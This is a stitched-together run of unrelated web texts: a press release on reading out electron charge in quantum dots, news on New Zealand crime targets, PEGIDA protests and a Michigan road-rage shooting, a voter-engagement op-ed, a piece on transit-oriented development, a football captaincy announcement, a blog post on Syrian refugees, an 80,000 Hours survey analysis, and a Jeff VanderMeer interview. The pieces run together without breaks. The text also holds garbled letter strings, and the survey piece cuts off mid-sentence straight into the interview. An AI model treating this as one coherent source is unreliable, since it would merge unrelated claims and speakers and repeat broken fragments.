"We've been successful in finding a new, more convenient way to detect changes in charge of a single electron on quantum dots. Quantum dots are nanoscale systems that can confine or trap single electrons," explained Associate Professor Reilly.
"Electrons confined to quantum dots are very nice systems for storing and manipulating quantum information, where data is encoded in the quantum mechanical aspects of the electron. Our goal is to scale-up a large number of quantum dots to ultimately create a machine to process quantum information - a quantum computer."
Ever since Nobel Prize winner Richard Feynman highlighted the potential of quantum computing in the 1980s, scientists have been attempting to build quantum computers capable of solving some of the largest and most complex problems, with much greater efficiency than conventional computers.
"We've focused on quantum dots as their properties can be tuned in the laboratory - we can control their energy spectrum by turning a knob in the lab."
"Being able to detect single electron charges on the quantum dots is absolutely essential, as it's the way information is retrieved from such quantum mechanical systems. We call it'read-out' and it's analogous to reading information from the memory or a hard drive in a regular classical computer," said Associate Professor Reilly.
"Without the ability to read-out quantum information, we have no way of getting the answer to a computation!"
The team, including School of Physics PhD students James Colless, Alice Mahoney and John Hornibrook, and Associate Professor Andrew Doherty and Associate Professor David Reilly, with two scientists from the University of California, Santa Barbara, have found a new way of detecting charge on the quantum dots using the gate electrodes already in the system.
"Previously, sensitive electrometers which measure minute charges were used to read-out the electron state on quantum dots. These work well, but they are somewhat separate devices built onto the ends of the quantum dot system. They are a bit like having microphones nearby that can pick up the sound of electrons," explained Associate Professor Reilly.
"What we have shown is that the gates or electrodes that are already in place to create the quantum dot in the first place, can also act as read-out detectors. This means you don't need separate devices and you don't need to worry about how to place those separate electrometer devices."
"Whereas the old system was like having microphones nearby to detect sound, our new system could be likened to using the walls of a room as in-built microphones - you don't need separate microphones for every room of the house, just use the walls as microphones," said Associate Professor Reilly.
"Our new method makes the whole quantum system easier to build and use, as adding nanoscale electrometers for every quantum dot in a million-dot-array is a hard problem. By using the electrodes already in the system, we've found an efficient new way to measure charge in the big quantum systems of the future."
The new method of detection allows for read-out in large dot arrays with no limitation on the size of the array for the read-out method to work.
James Colless, whose PhD research contributed greatly to the finding, said, "The technologies that we are developing are part of a global research effort to advance the prospect of quantum computing. In a similar way to how billions of transistors can now be placed on a single silicon computer chip, in the future we would like to engineer semiconductor chips containing huge numbers of interacting quantum two-level systems - called qubits. The work presented in this paper suggests a new method of reading out qubits that enables this goal."
The work is supported by the Australian Research Council (through the Centre of Excellence for Engineered Quantum Systems) and US Government Intelligence Advanced Research Project Activity.
Media enquiries: Verity Leatherdale, 02 9351 4312, 0403 067 342, [email protected] E B U B B L E S 5 9
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WILLIAMSTOWN, M A 0 1 2 6 7The government hopes to reduce the number of serious crime victims by 2021, and has set itself a new target to do so, after missing its previous target.
It denied it was manipulating the numbers to make its better public service targets easier to reach.
Photo: RNZ / Claire Eastham-Farrelly
Prime Minister Bill English today outlined a new set of 10 targets for the delivery of public services, including reducing the number of serious crime victims by 10,000 by 2021.
It is a much-reduced target than what was initially set five years ago.
In 2012, the government set an aim of reducing violent crime by 20 percent, or 7500 fewer crimes a year, by June 2017.
As at March of this year, that measure had only reduced by 2 percent.
The government's new goal is more realistic: to reduce the number of serious crime victims by about 2000 a year.
Justice Minister Amy Adams said it was not an admission the old target was unobtainable.
"Ten thousand is a much more tangible number for New Zealanders to get their head around than 20 percent. Most New Zealanders don't have a sense of what that looks like.
"We've been very clear we want to have 10,000 fewer victimisations of these sorts of crimes."
But Labour leader Andrew Little said the government was fiddling with the numbers to suit.
"That's what happens when you govern and manage by numbers... you don't deal with actual problems."
New Zealand First leader Winston Peters said the government was being disingenuous, as it had earlier capped police spending and did not believe that crime was rising.
Ms Adams said the change in target was deliberate.
She said, previously, the violent crime statistics had picked up a big increase in the reporting of family violence, which skewed the results.
"While we're trying to encourage more reporting, it somewhat cuts against a straight target."
Ms Adams said it would still be a stretch for the government to meet the new target - but it was committed to doing so.Police were out in force in Dresden on Monday evening because, according to a police spokesman, it could not be guaranteed that everyone had heard or accepted the decision banning the Monday rally. Therefore, the police were operating as if a demonstration of some 30,000 people was taking place, he said.
The PEGIDA march in the eastern German city of Dresden, which serves as an unofficial stronghold of the organization, was cancelled on Sunday over terror threats, specifically the threat to murder Lutz Bachmann, one of the movement's co-founders.
Police also banned a counter-demonstration planned by PEGIDA opponents, due to take place at the same time.
After the cancelation of the march, PEGIDA organizers (which translates to "Patriotic Europeans Against Islamization of the West") called on their supporters to "put a candle on their window" and hang German flags in support of the movement.
Right to assembly
Although most German politicians have denounced PEGIDA as a xenophobic and extremist movement, they have also expressed support for their right to hold public protests.
PEGIDA has planned a new rally for next Monday
Chancellor Angela Merkel said Monday that she had a duty to protect the right to demonstrate in Germany, regardless of the issue, and offered the support of federal security forces.
"As chancellor, regardless of whether I like the contents, I have an immediate interest in ensuring that there can be demonstrations in every place in Germany, because it is a fundamental right," Merkel said in Berlin.
PEGIDA leaders also said Monday that they will not allow themselves to be muzzled and that they would plan a new rally for next week. They insisted that they were not racists, and that they simply want "a different relationship between political leaders and people," according to PEGIDA co-founder Kathrin Oertel.
Snowballs in Oslo
PEGIDA marches were still held in several cities across Germany on Monday, including Düsseldorf, Kassel and Stralsund, where a total of several hundred people continued the series of weekly protests.
PEGIDA supporters met for the first time in Copenhagen
PEGIDA opponents, however, outnumbered the supporters. In Munich, some 10,000 people took to the streets calling for an open and tolerant society, while several thousands also showed up for a counter-demonstration in Osnabrück. The Braunschweig PEGIDA protest had to be canceled for security reasons, after some 5,000 PEGIDA opponents surrounded 250 supporters of the anti-Islamization movement.
Supporters of the Danish branch of PEGIDA also staged their first protest in Denmark, drawing some 200 people for a central rally in Copenhagen. On the same night, Oslo saw its second PEGIDA demonstration in Norway with around 70 participants.
Norwegian public radio reported that PEGIDA opponents, some 200 of them, were throwing snowballs at the supporters of the anti-Islamization movement.
dj/cmk (AP, Reuters, dpa, epd, AFP)car wash shooting.jpg
The two vehicles whose drivers died after a road rage fueled shootout Wednesday, Sept. 18 in Ionia (AP Photo/The Sentinel-Standard, Karen Bota)
Robert Taylor (left) and James Pullum
IONIA, MI - Surveillance video capturing the moments preceding a road rage-related shootout that killed two men indicates one driver followed closely behind the other, according to a police report. Family members in the car with Jim Pullum, 43, said another driver, Robert Taylor, 56, tailed their vehicle for no apparent reason the night of the Sept. 18 shooting in Ionia. Taylor followed Pullum into the parking lot of Wonder Wand Car Wash, 426 S. Steele St., where the men exchanged gunfire, police said. Before they reached the car wash, surveillance footage from Schanski Dodge off South State Road shows Pullum's Ford Taurus drove north past the business and Taylor followed five seconds behind in a Chrysler PT Cruiser. When the vehicles passed Sheri's Restaurant, about 160 feet north of Schanski Dodge on South State Road, Taylor's car was three seconds behind, according to the police report. Pullum's wife, Teri Pullum, who was in the car along with his mother, told police they had planned to stop at the car wash. About 120 feet away, her husband said a vehicle behind them "needed to get off his ass." Teri Pullum told police Taylor's vehicle was so close they couldn't see its bumper. Her husband didn't react with any communication, such as hand gestures or tapping on the brakes, she said. They didn't know why Taylor was tailgating and there hadn't been any signs of a problem, she said. Pullum pulled his vehicle into the car wash parking lot, and Taylor's vehicle pulled beside them. Both drivers stepped out, police said. Teri Pullum told police she heard her husband tell Taylor he needed to "stay off his ass." The two men were nose-to-nose as they exchanged words, but she couldn't make out their conversation. One man pushed the other and she saw Taylor pull out a handgun and shoot her husband at "almost point blank range," the police report states. A medical examiner's autopsy confirmed that Pullum was shot from close range, the 50-page police report shows. Interviews with Pullum's wife and mother, Bernadine Pullum - who were both seated in the car at that point - indicate Pullum reached in his car for a handgun after he was shot. Pullum fired as Taylor ran toward the back of his car, according to the police report. The women were the only witnesses to the shooting. Autopsies showed Taylor was struck once with a bullet to the chest, and Pullum suffered three gunshot wounds to the arm, abdomen and shoulder. Both men had permits to carry concealed weapons. Taylor was carrying a.22 Magnum and Pullum had a 9 mm handgun, police said. An auctioneer who contacted police after the incident said Taylor called him in April, identifying himself as "RC Taylor" and saying he wanted to get rid of some of his guns "due to his condition," which was not elaborated on. The auctioneer told police that Taylor, during a lengthy conversation, "carried on about the militia, the NRA, and conspiracies reference governmental gun control," according to the report. The auctioneer told police he contacted Taylor in May in regard to an auction and Taylor couldn't recall their previous conversation. Officers located a bag of about nine medications that treat depression, anxiety and insomnia in Taylor's car. Authorities asked his wife about his health, and she said he had been doing "pretty well" and his mental health was "good." Taylor's wife said his psychiatrist was surprised to hear of his involvement in the incident. Police have submitted for blood toxicology results for both men. The police report does not indicate authorities have received those results.
Angie Jackson covers public safety and breaking news for MLive/The Grand Rapids Press. Email her at [email protected], and follow her on Twitter.Millennials have the opportunity to decide the fate of every race in New Orleans. In a city with 100,000 young people, where mayoral races usually take 30,000 votes to win, millennial voters can make the difference between a win and a loss.
In 2015, Noa Elliot felt triumphant when her first vote helped elect Gov. John Bel Edwards. At 19 years old, she “felt great and was shocked” to vote in a “more progressive voice for Louisiana.” Noa is a millennial helping to start a pattern of increased voting that will turn how campaigns run.
Millennials are the future, but the numbers suggest that, if millennial turn-out exceeded 50%, our generation would be politically unstoppable in New Orleans. Our political system does not reflect our values, but it has the capacity to. Young people can and will decide the priorities of our communities by electing leaders who care about our needs and then holding them accountable.
When the tides turn and millennials take power through political engagement, a more tolerant, informed, and empathetic world will emerge. Millennials exist in that political space and will be able to champion causes from a timeframe that cannot be matched, creating the world of tomorrow in which they want to live and thrive.
In a representative democracy, we the citizens have the power to decide who leads us. We give leaders we trust the responsibility to make political decisions that represent our best interests. Voting measures public opinion and gives legitimacy to the leaders we elect. In a perfect world, everyone would be informed, engaged, and voting for competent candidates that represent their values. When a mistake is made and representatives fail to serve the public, they can be voted out by the same people who voted them in. This is the beauty of a representative democracy, allowing citizens to pursue day-to-day lives while giving trusted public servants the right to make tough and complicated decisions on their behalf.
However, our representative democracy is failing young people, because young people are failing to participate.
Millennials make up 100,000 citizens in New Orleans, a city that has taken about 30,000 votes to win elections for mayor. All told, millennials comprise more than a third of the entire electorate, and only a third of young people need to vote to exclusively decide the direction of the city. But we never do. The failure to implement simple improvements like automatic registration or same-day registration depresses the vote. The failure of politicians to engage with young people gives millennials no reason to vote. A belief that votes do not matter pervades the country, making voting seem like a waste of time.
The fact that millennials do not vote is a double-edged sword. It’s a sad indicator of how our democracy is failing its people today and, ironically, a beacon of hope for the direction of New Orleans. Low turnout means there is substantial room for growth, allowing millennials to increase their influence in elections.
When barriers to voting come down, a third of millennials voting and deciding elections will become the electoral reality politicians face. Speeding up that process is the goal of the MoVE Initiative.
The Millennial Voter Engagement (MoVe) Initiative is working to engage 18-35 year olds in the city. Our priorities are public safety and gun violence, economic growth and jobs, healthcare, liveable wages, and K-12 Education. We are young people coming together to help determine the future of New Orleans. Our plan is to develop a platform, engage candidates, and hold leaders accountable while informing them about the needs of millennials.
Clarke Perkins, a New Orleans native and MoVE initiative co-founder, votes in every election. “When a candidate I vote for wins, I feel like I’ve been a part of something bigger. I vote because I think it’s important; it’s my responsibility to choose someone that will represent me,” she explained. Her commitment to voting is not shared by millennials today, but she believes it will become the norm of tomorrow.
When millennials vote, we will hold the key to political power. Hope and change inspired an electorate once before. A political revolution nearly flipped a party on its head. Millennials can create a better path when inspired to vote.
Grassroots efforts to increase turnout will make decisive for every candidate. Making the economy work for the people, decreasing violence, responsibly improving public safety, and equitably addressing criminal justice reform will be a requirement.
Not every vote from Clarke or Noa led to victory. But they’ve engaged in elections, forming a base that can expand and allow millennials to control the political environment. The tide of electoral politics is changing.
With 100,000 millennials in a city that only requires 30,000 votes to win a mayoral election, we have the power at our fingertips. We only have to grasp the voting lever to use it.
Bobby Mannis is a founder of the MoVE Initiative, which is working to engage more young people in the political process and currently focused on the upcoming mayoral race. You can learn a little more about the organization at ourownpaths.com.An aerial view of Guangzhou, China, location of one of eight successful Transit-Oriented Developments. Photo by: ilya / CC BY-NC-ND
As the world population continues to rise and more people move to cities, urban planning will increasingly become a priority in development efforts, which traditionally have focused on other areas such as health, education or food security.
That will require a new brand of partnerships between donors and implementing partners with mayors and city governments in developing nations, which can benefit from not only official development assistance funds but also technical assistance to help them carry out their future real estate development in a truly sustainable way.
One such initiative will be launched on Thursday at the World Urban Forum in Medellin, Colombia.
Transit-Oriented Developments are projects that are vertical, accessible by foot and bicycle, and plug into mass transit, so cities can continue to grow while minimizing their climate change footprint.
Eight successful TOD projects around the world — three of which are in developing countries, namely Brazil (Curitiba), China (Guangzhou) and India (Pune) — are highlighted by the Institute for Transportation and Development Policy in an interactive map that uses a TOD standard evaluation tool. This guide takes into consideration eight key elements to integrating sustainable transport, land use planning and sustainable urban design.
ITDP highlighted how TODs can provide substantial cost savings for both city governments and citizens. For instance, a recent World Bank study shows how China could save $1.4 trillion in urban infrastructure costs if its urban growth development plans focused on density rather than sprawl. This alone already costs the country $300 billion annually in health problems caused by air pollution.
Also, the World Health Organization’s 2013 Global Status Report on Road Safety noted that 1.24 million people worldwide die every year in road traffic accidents. As urban population rises, TOD projects could help reduce our dependence on automobiles, thus saving lives now lost on the road.
“There are many places where the car-centric lifestyle is becoming a thing of the past,” ITDP CEO Walter Hook said in a statement. “If a billion people in the developing world move to car-oriented cities, the social and environmental toll could be catastrophic. Fortunately, real estate developers are increasingly responding to these new priorities embraced by city governments and people of all economic means.”
Read more development aid news online, and subscribe to The Development Newswire to receive top international development headlines from the world’s leading donors, news sources and opinion leaders — emailed to you FREE every business day.The Western Bulldogs have named midfielder Ryan Griffen as the Club’s new Captain.The former number three pick in the 2004 AFL Draft succeeds Matthew Boyd, who made the decision to stand down after leading the team for three years.In Boyd’s absence with injury, Griffen filled in as Captain in eight games this season and flourished in the role, not only emerging as a genuine leader but earning All-Australian selection and winning his second Charles Sutton Medal as the team’s best and fairest player.Senior Coach Brendan McCartney said the 27-year-old was the ideal replacement to the lead the Club through its next phase of development and commended Boyd for his valuable contribution.“Matthew has been a great leader of this Club, particularly through some challenging times over the past three years where he shouldered some enormous responsibility both on and off the field,” McCartney said.“We see Ryan as the right person to help take this Club forward and we look forward to seeing him continue to grow as a leader, player and person.”Griffen said the opportunity to lead the team was not lost on him.“It’s a huge honour to lead this Club — a Club I love dearly,” Griffen said.“I’m extremely humbled, that the coaches, staff and my teammates nominated me as the person to Captain the Club going forward.”Griffen has played 183 games since debuting in 2005, and becomes the 33rd player to Captain the Club since its VFL inclusion in 1925.I should probably be working on one of my three term papers right now, but something is on my mind. Also, this one is just for the Christians. If you’re not a Christian, go ahead and read it, but it’s not really directed at you.
As I am writing this, 17 state governors have declared that they will not accept any Syrian refugees. I’ve seen a lot of praise over this, largely coming from Christians.
I understand the fear. Really, I do. It is, I admit, quite plausible, as we have seen from Paris, that ISIS operatives can and will sneak in with the hundreds of thousands of people fleeing from certain death or worse. However, there is a holocaust going on, and speaking for myself and I am sure many others, we cannot understand the coldness toward refugees coming from other Christians. If you will please stick with me for a few paragraphs, I will explain why we just don’t “get it.”
I was raised in a small-town Baptist church. I was taken there Sunday morning, Sunday night and Wednesday nights. I don’t care how much you like to goof off, if you spend that much time in a church, you’re going to pick up on major themes whether you want to or not.
One of those major themes is that we should be courageous. Another is that we should love our neighbors as ourselves. Another is that life is eternal.
These themes are all over the Bible. “Be strong and courageous,” God told Joshua. “Perhaps you are here for such a time as this,” Esther’s uncle said. “Do not fear those who can kill the body,” Jesus said. Jesus also told a story that would be, on the danger scale, the equivalent of a Native American carrying a bloodied and beaten white man into an Old West town saloon for help in the pioneer days. (The Good Samaritan)
And the stories didn’t just include Bible stories. Just about every evangelical (especially Baptists) know and praise the Jim Elliots of the world and their wives. If you don’t know, Jim Elliot was a missionary to somewhere in the Amazon. He and several others were killed by the natives. Later, their wives evangelized the same people who killed their husbands!
We were taught to admire people like that. The idea that nothing, and I mean absolutely NOTHING in this world is more important than expanding the Kingdom of God — not even my own life — has been drilled into me since I was a small child. And, you know what? I believe it’s the truth still!
Am I not supposed to actually believe all that stuff? I find myself today witnessing some Christians who seem to want to be as not like Jim Elliot as possible. I do not understand this. This is what I do not “get.”
For years and years and years it has been nearly impossible to get missionaries (even sneakily) into parts of the Middle East. It’s so dangerous, some, assuming they can even get in, are likely to be killed so quickly they can’t do much evangelizing. And now, hundreds of thousands of beaten, hurting, orphaned, widowed (google “pure and undefiled religion) and broken people are trying to come to US.
Is it possible that a small percentage of them want to kill us? — Let me counter that question with another question:
Does it matter?
Maybe it’s because I grew up in a post Columbine, post 9/11 world that we youngsters think this way, but refugees or no refugees, some folk are getting murdered in the United States today. Refugees or no refugees, there will be another school shooting somewhere. Refugees or no refugees, terrorists will find a way. Life is terminal. You WILL die.
I find it astonishing that many people want America to be recognized as a Christian nation. God forbid!
“Dear Syrian refugees,
We, the Christian nation of America, do not want you. There are some bad eggs mixed in with y’all. We’ve seen the photo of the little boy who washed up on shore. We’ve heard from Christine Caine and the A21 people who talk about how desperate the situation is. But we also have some news sources that told us that it’s all men and the women and children aren’t even there! Whew! You almost had us fooled! Have a nice life in that land of opportunity you just floated to, the bankrupt and socially troubled country of Greece. We’ll send some food over for a while. Please, steer clear of the human traffickers and report all suspicious activity to the police.
God Bless.”
Maybe I’m just wound up. I suppose it’s possible to be too wound up or emotionally stirred at something like this. But if you want to curb my youthful enthusiasm, here’s all you need to do:
Open up a Bible and make a convincing argument that Jesus wants us all to be safe more than he wants us to reach the lost and help the hurting. I was taught, after all, that Jesus trumps all — even those teaching me that Jesus trumps all. Am I supposed to believe that or not?
It’s not like I’m declaring all of us must quit our jobs and go. But not only will we not go, we don’t even want them to come to us? I am genuinely confused. Somebody help me out here.To fill out our current impact survey please click here.
Introduction
To understand our impact and learn how to improve as an organisation, we recently ran an open survey of our users.
We released the survey (see here) on 7th January through social media, our blog, newsletter emails and some individual emails. The following post analyses the 206 responses we had received by the 7th February.
Summary
The survey identified sixty three people who said engaging with 80,000 Hours significantly changed their career plans. These people could specify the changes and how they came about. We know from other sources of a further forty people who changed plans, bringing our total to over one hundred.
About a third of the changes resulted only from reading online content. This is the first systematic evidence that our online content can change plans without one-on-one contact with the team.
One-on-one coaching, discussion with people in the community and attending events were all significant in changing plans.
We also collected evidence of impact beyond plan changes. We found for every three plan changes, there was a ratio of 1.5 people introduced to effective altruism for first time who now identify as supporters, and two people who changed their attitudes towards careers.
Giving What We Can, Less Wrong, word of mouth and Peter Singer’s TED talk also bring people to the effective altruism community.
Important sources of promotion for 80,000 Hours seem to be word of mouth, Less Wrong, our Oxford and Cambridge events, online search, social media and Peter Singer’s TED talk.
The rate at which we caused people to change plans roughly doubled when we became a full-time rather than voluntary organisation. This rate has been roughly steady since.
After seeing what kind of help people want, we decided to increase the priority put on bringing back some simple member networking tools.
We identified several themes in the feedback, detailed later in the post.
We received thirty very positive testimonials, which we take as a strong show of support.
We collected data on the careers and causes that supporters of 80,000 Hours commonly pursue, detailed later in the post.
Significant plan changes
Introduction – what counts as a plan change?
The survey mainly aimed to learn more about how many significant plan changes we have caused. We define a significant plan change as follows:
An individual makes a significant plan change if they change their credence in pursuing a certain mission, cause or next step by 20% or more, they attribute this change to 80,000 Hours and it’s plausible that 80,000 Hours caused it.
For instance, if someone anticipates pursuing med school with probability 55% and law school with probability 45%, then they read an article on our blog and switch to 75% med school and 25% law school, that counts as a significant plan change.
This metric doesn’t fully capture our impact by any means, but we think it’s a useful indicator. If we’re not causing significant plan changes, we’re probably not having much impact. If we’re causing many significant plan changes, then we’re probably having significant impact.
What we learned from the survey
In the survey, we asked:
Has engaging with 80,000 Hours caused you to significantly change your career plans? Please be brutally honest.
We gave the option of answering “yes” or “no.” The answers were:
Yes: 66 people, 32%
No: 139 people, 68%
We also asked:
What did you intend to do before? What were your intentions after?
Most people offered one to three sentences for each question. We used these answers to judge which plan changes might count as a ‘significant plan change’ according to our definition. This was just a judgement call on our part, and is liable to bias. Please regard the following as preliminary results, before we do our full impact evaluation.
We eliminated five responses, because the plan changes didn’t seem significant enough or the person hadn’t stated a clear plan change. We added four responses. This included two people who said they significantly increased the amount they intend to donate, one who said they changed the cause they support and one who became more likely to pursue earning to give. In the majority of cases, people reported pretty significant changes (e.g. they said before they were planning one career, and after there were planned another). This gave a total of sixty five survey responses that seem to meet our definition of significant plan changes. Note this doesn’t include all the significant plan changes we know about. There’s another nineteen here, and another twenty or so from our recent round of coaching.
What were these plan changes, how valuable were they and were they really due to 80,000 Hours? Because these questions are so crucial to us, in the next two months we will post a separate analysis of all the plan changes we know about. In this further analysis, we’ll summarise what the plan changes involved and what caused them by analysing twenty in depth.
Still, for this document we quickly analysed the careers the changers plan to pursue, and the extent to which they switched from conventional ethical careers to the types of careers commonly recommended by 80,000 Hours. One discovery was that twenty four – over a third – are intending to pursue earning to give. Another discovery was that the majority (63%) were pursing conventional careers before, but now identify as effective altruists and are pursuing the kinds of options we typically recommend. See more on that below.
But more important than changed plans is changed behaviour, so we also asked:
If enough time has passed, did you follow through on your new intention?
This was an open response question.
28 (44% of the significant plan changes) responded indicating they had already taken significant steps to follow through on the plan change. Examples included increasing donations, applying for a job and succeeding, or already starting the job.
17 (27%) didn’t respond to the question (presumably meaning not enough |
. So I I left it.
I understand: it feels like, if you did touch that text, the spell might break.
I have dreams fairly often and most of the time they don’t lead to anything. But this time, I woke up again in the morning and I had the biologist character in my head. I ran to my laptop—which is unusual, because I usually write longhand—I just typed out the first ten pages. And then I had these notes that kind of fleshed out the whole rest of it. I tend to jot down little fragments of scenes and stuff before I write, and by the end of the third day I had all these fragments, leading almost all the way to the end, with some of the more evocative phrases, kind of like anchors, already in my head. So that came very naturally to me. I had just finished working on this book called The Weird, 100 years of weird fiction in anthology form. And that put a sort of layering in my head. Six million words of weird fiction that I had to read and assimilate were in the back of my brain. I really believe my subconscious organized that and condensed it into a kind of sedimentary layer in my reptile brain, because I look back at Annihilation and there are so many different science-fiction/fantasy tropes in it that are just kind of… compressed. Which is why I think it’s disorienting—because you think it’s one thing and then it becomes another and another, because these ideas are piled on top of each other. So even an idea that is familiar becomes unfamiliar by its proximity to so much else.
Part of this disorientation also comes from the early awareness that many characters are under hypnosis, and that sense of being on shaky ground that is typical of the unreliable narrator. Was that an early idea or did it come later?
I decided early on that the narrator, the biologist, would knowingly withhold information. She’s telling the story of Annihilation after the fact, so there’s a certain emphasis that she has decided on. As you can see in book two and three, she’s a little bit more calculating than what you’d imagine from Annihilation. Maybe she seems unreliable, but she’s very reliable, she knows exactly what she’s doing. Actually, although I’ve been very blessed with the reactions of the readers, there’s a small portion of readers who can’t believe she’s so calm in that situation, assuming she’d be screaming or something in some of the encounters. That comes from clichéd reactions in horror movies, and again not recognizing that she is a kind of eccentric biologist who’s not going to react.
Yeah, she’s a scientist. Scientists are weird.
Yeah, they are. Not like writers, who are so normal. [laughs]
It seems like a big part of the novel is our inability to understand or explain the natural world, given the limits of language and our own cognition. Nature doesn’t explain itself. I remember having a conversation with a friend of mine who’d just read the book. He said, “Well, I don’t understand, I never understand what’s going on, you know? Like what Area X actually is.” And I replied that that was like nature. A tree is not going to explain to you how forests work, right? And this kind of unexplainable, possibly alien phenomenon of Area X wouldn’t necessarily explain itself. As I read the trilogy, I got a strong sense that this was a very calculated choice of yours: perhaps to suggest that we should be a little more humble when we try to understand the natural world, or that we maybe just can’t.
I really don’t like novels or series that end with a kind of sudden explanation that the character could not in reality ever come to. I wanted the reader to put answers together in book three through various characters finding out different pieces. That’s much more realistic than it being this sudden Ah-hha! moment on the part of one character. I didn’t want it to be artificial that way. There is also the issue of what we can and can’t perceive through our senses. And I proposed elsewhere, in some of the environmental talks that I’ve given, that it would be very educational if we could use Oculus Rift or some other virtual reality thing to see even our own neighborhoods better. You know, to see the chem trail, so to speak, left by insects, and all the other types of communication that are occurring that are very complex and we can’t see. And because we can’t see these things, we tend to view the world around us as more simplistic than it is. And then we tend to destroy things or change things before we even truly understand them.
I think any time you see more connection, whether you see connections on the human level or just in general about what we call the natural world, there’s more of a chance for empathy, and understanding and inhabiting a different point of view. And I think that’s what we really need.
One good example of this would be in mycology, the study of fungi and mushrooms. There’s a lot of practical applications for that stuff. Right now I think there’s a patent pending for a fungal organic material that would replace Styrofoam: you could just toss it in the backyard and it would biodegrade in a month. You know, things like that could replace plastics, could replace substances that we’ve made out of our hard-tech world, substances that are actually incredibly toxic and take a lot of fossil fuel energy to create. If we simply mimicked and understood better the actual complex process of what is going on in nature… I mean, for example, it’s fascinating to me that scientists are just beginning to understand the complexities of fungal pathways under the ground that are also communication links for trees.
I read about this. It’s incredible.
Yeah. It begins to sound science-fictional but it’s the actual way the world works. So I wanted to begin to get at that and get at the sense that, like you say, we should be more humble. And not because I’m anti-human. It’s just simply that, as a fiction writer, you’re supposed to try and express the complexity of the world, and I suppose that a lot of time this comes out as the emotional complexity of the interaction between human beings —fair enough. But, you know, in a lot of cases, especially now with global warming, it’s very important that we understand the true nature of the world that’s around us. Another issue that I think comes up in the novels is the idea of contamination — the idea that there really is no inside/outside, there is no body/non-body in the sense that even recent books about microbes show that there’s much more flux between us and the environment around us. There’s much more communication and interaction than we’re aware of. And if we could see the world more in that way, we would actually see more connection. I think any time you see more connection, whether you see connections on the human level or just in general about what we call the natural world, there’s more of a chance for empathy, and understanding and inhabiting a different point of view. And I think that’s what we really need. Beyond just like, you know, converting to solar.
In fiction, over the past few years — be it, horror, science fiction, speculative fiction, or even literary fiction — there has been a move towards talking about biology, virology, ecology, instead of hard-tech stuff. In general, our place in the natural world seems like a major preoccupation of our times, as well as a major fear of our times. I was reading that famous essay by Margaret Atwood, aptly titled It’s not climate-change, it’s everything-change. And just the title, it says everything. And it seems to me that, if you go back through history you’ll see that the fiction, the culture being created is always, in some way, a mirror of our fears, our hopes, our dreams as a society.
Yeah. And uncanny fiction and weird fiction are well-suited to address these matters, because they deal with the irrationality of the way we deal with issues, because they can deal with someone encountering something so large, so weird, so unseeable in its whole expanse, that you feel dwarfed by it. And global warming is kind of like that, a hyperobject. Our problem with it, as Timothy Morton said, is simply the vastness.The human brain hasn’t evolved to really understand something so large, or to do anything more than react to it. And that’s one reason why there’s so much difficulty getting our act together. I really think that “weird” fiction is very useful in dealing with this. Or even fiction in general. I find it disturbing that some people on different sides, defending different so-called “territories,” would say realistic fiction is better to deal with this as opposed to speculative fiction, or vice versa. There can be interesting approaches from all over the place.
Right.
And anyway, what’s most interesting, is that we’re already in the middle of it now. We’re in a science-fictional future now, in a profound way, and not everyone is realizing it, but it’s really what’s happening, what with extreme weather events, climate change and everything else. So what’s happening is that mainstream literary fiction, that’s not science fiction, that’s not weird fiction, that’s very realistic, is dealing with these issues, too — because they’re all around us — and sometimes more effectively than science-fiction. There’s something about the can-do, science-must-solve-all, solutionist faction of science fiction that’s actually very antithetical to the nuance and the complexity of what we’re dealing with. But I’m glad that people are grappling with it. And I’m very forgiving to people who grapple with it badly, only because it’s such a difficult thing to grapple with, it’s a difficult thing to get into your fiction in a way that’s not preachy or didactic, that isn’t just an essay in story form, because, you know, at that point why not just write an essay.
Talking about this distinction between literary and genre fiction, I think it’s fairly mundane and a bit childish sometimes. Especially if anyone has any knowledge of the history of literature, I mean, this distinction was invented by marketing, like seventy years ago. Before that, no one used to care if someone wrote a literary book that was set on the moon.
It works both ways. There’re snobs or “reverse snobs” within science-fiction, too. The other thing I’d say is this factionalism needs to be nipped in the bud in the wider world. Because you sometimes see Marxists bickering with Liberals fighting with some other ideology, everyone’s fighting with everyone else, even when dealing with something as potentially catastrophic as climate change. We should pick the best ideas from all the ideologies and let’s don’t go down with the ship because we have to follow the party line, so to speak. But thankfully it’s kind of a low murmur; I think most people understand that this issue is so serious that there’s no time for that.
Let’s talk about William Gibson. After essentially inventing cyberpunk, in his later novels he started to talk about the present, after All Tomorrow’s Parties, in 1999. He was pretty much saying that we’re already in a science fiction world, that there is no fixed “now,” no present from which to contemplate a possible “future.” I think that was a moment when a lot of writers kind of woke up to that idea. Personally, I started thinking about the present in a different way. Another thing that’s been going on a lot in the past, say, twenty years, is that genre fiction has really become the mainstream. When I was a kid, I would never have imagined that we would have like seventeen Iron Man movies mass-released at the cinema and that “serious” writers who win the Pulitzer Prize for literature would write post-apocalyptic novels, you know?
For me, it’s just weird because I started out in the literary mainstream. I was a poet for a long time. I edited a mainstream poetry journal so I was pretty much immersed in that world. And then when I started writing fiction it was kind of Kafkaesque and in the US publishing environment that meant that it was genre. So, I’ve been living in these two worlds, which is why I find the whole thing ridiculous, too. Because I just take the best of both of them, and I love both of them. I love a lot of stuff that has no speculative element whatsoever in it and I love having the freedom to not have to choose a side. I don’t really buy into territories and tribalism. But I will have to say there was one other thing, besides Gibson, that helped to loosen things up and it was really Margaret Atwood’s MaddAddam trilogy, especially the first book, which actually got a lot of flack in the genre circle. How come you’re writing in our territory?, and all that. But that’s actually what made mainstream literary publishers, from the marketing side, sit up, look at that aspect, take notice and say Oh, we can sell science fiction! We can sell it as literary, if we do it the right way. And then that has the practical cultural effect of opening up a lot of opportunities. Including, for example, FSG publishing the Southern Reach, which was such a boon to me.
I was looking at some science fiction books from genre publishers and, next to the gorgeous FSG edition, their covers look… just so bad. They look like a manual for a graphic design software in the Nineties, you know. And I was thinking, if we just switched the covers, would people have liked the Area X trilogy in the same way? Would we even be doing this interview for a non-genre website?
The entry point makes such a huge difference, I think. The entry point for the Southern Reach could be either an expedition into a strange pristine, wilderness…or you could foreground the speculative elements. If it had been published by a genre publisher, they’d have foregrounded the speculative elements. Now, look, I’m always for maximizing the possible number of readers that I can reach. Sometimes I do very uncommercial things and I recognize, coming in, that that means a small audience, but for this, I thought, because it is set in the real world, or some semblance of it, if it has the right entry point for the reader, if they can be kind of led into in the right way, then some of the stranger things would be OK. And I know that from some other type of publisher in the US it might have gotten the standard post-apocalyptic-type cover. It would have had maybe a dark lighthouse, or a strange creature, and that’s not all the books are about. I’m very grateful that FSG understood that.
There is that hyper-object of the Gulf Oil Spill that existed in my mind as I was writing. I didn’t encounter Timothy Morton’s actual theory until I read of it in one of the reviews and a light-bulb went off.
